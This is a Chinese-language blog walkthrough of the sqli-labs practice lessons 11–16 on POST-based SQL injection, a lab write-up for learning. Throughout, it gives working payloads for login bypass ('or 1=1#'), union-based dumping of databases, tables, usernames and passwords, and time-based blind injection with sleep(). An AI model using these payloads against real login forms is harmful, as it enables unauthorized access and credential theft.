sqli-labs Less11-Less16

Lesson 11 POST -Error Based - Single Quotes (基于错误的POST型单引号字符型注入)

(1)先输入adminadmin进行登录

  sql语句为:

  SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1

(2)接下来的测试我们需要使用burpsuite,因为在执行登录操作时,我们并不知道进行了怎样的传输。其实是使用了PHP中的POST传输。

   A.先手动配置代理,打开burpsuite,点击”submit”,会进行抓包

   里面显示了详细的信息,我们只需要最后一句话

   B.将其复制,选择post data,粘贴到下面的框中。然后把burpsuite关闭即可

   C.进行测试

     uname=admin'&passwd=admin&submit=Submit

   admin后加一个单引号,出现错误

  uname='&passwd=admin&submit=Submit

   admin删掉,只留下单引号还是有错误,说明存在注入漏洞

  uname=admin' or 1=1#&passwd=admin&submit=Submit

  admin’后加上or 1=1 #,再次执行,发现登录成功

  uname=' or 1=1#&passwd=admin&submit=Submit

   此时,把admin去掉,发现依旧能登录成功,验证确实存在注入漏洞

(3)username为例进行验证,使用order by语句验证列数

     uname=' order by 3#&passwd=admin&submit=Submit

   返回错误,显示不存在三列

  uname=' order by 2#&passwd=admin&submit=Submit

   虽然登录失败,但是并没有返回错误,说明是两列

(4)判断完列数后,使用union select语句进行联合查询,查看回显位置

    uname=' union select 1,2#&passwd=admin&submit=Submit

   回显出位置

(5)接下来就是常规的查库,查表等一系列操作

    查询当前使用的数据库

    uname=' union select 1,database()#&passwd=admin&submit=Submit

   可以看到数据库为security

  查看所有库

  uname= ' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

(6)查看表

  uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

(7)查看字段

  uname= ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

(8)查看用户和密码信息

    用户信息

    uname= ' union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit

  密码信息

  uname= ' union select 1,group_concat(password) from security.users#&passwd=admin&submit=Submit

(9)一次性查询数据的方法

  Lesson 11结束

Lesson 12 POST -Error Based - Double Quotes (基于错误的POST型双引号字符型变形注入)

(1)查询是否存在注入(将admin破坏,加上or 1=1#

  uname='or 1=1#&passwd=admin&submit=Submit

   虽然没有成功登录,但是也没有返回错误

  uname=" or 1=1#&passwd=admin&submit=Submit

   将单引号改成双引号,发现有错误

  如何判断是单引号还是双引号,可以看回显的sql语句来观察

   包着admin的是双引号加一个单括号,所以就加双引号和一个单括号就行

测试成功

2)接下来和上一课相同,不做展示,只是练习一下

  Lesson 12结束

Lesson 13 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

(1)先进行测试

  发现正常登录后,虽然有登录成功,但是并没有回显任何信息

(2)从测试可以看到,包裹着admin的是一个单引号和一个单括号。接下来直接测试即可

    uname=admin') or 1=1#&passwd=admin&submit=Submit

   也是什么都没有回显

(3)union select语句进行联合查询,也不显示任何东西,这个时候就能证明是盲注,只有正确才会回显

(4)使用length()函数来猜解数据库长度

(5)使用if语句进行判断

  uname=adm') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit

   然后进行猜测,测试数据,最后发现数据库长度为8

(6)然后判断第一个字母,使用left语句直接进行判断

 

  uname=adm') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit

   以这种方法可以查出库的名字

  剩下就是查表,查列,查数据的基本操作了,也可借用burpsuite进行爆破,这里不再进行展示

  

  Lesson 13结束

Lesson 14 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

(1)先进行登录测试

  uname=admin&passwd=admin&submit=Submit

 只有成功登录但是并没有任何回显信息

13关不同的是,13关包裹admin的是一个单引号和一个单括号,14关包裹admin的是双引号,其他的均相同,不做演示,只练习

 

  Lesson 14结束

Lesson 15 POST-Blind -Boolean-Time Based - Single Quotes (基于Bool/时间延迟的单引号POST盲注)

(1)先测试

  与1314课差不多,只是包裹admin的符号不同,只不过这个是单引号

  Lesson 15结束

Lesson 16 POST-Blind -Boolean-Time Based - Double Quotes (基于Bool/时间延迟的双引号POST盲注)

  先测试

   这关是双引号和单括号进行包裹,其他与13关相同

 Lesson 16结束

原文地址:https://www.cnblogs.com/zhaihuijie/p/12514256.html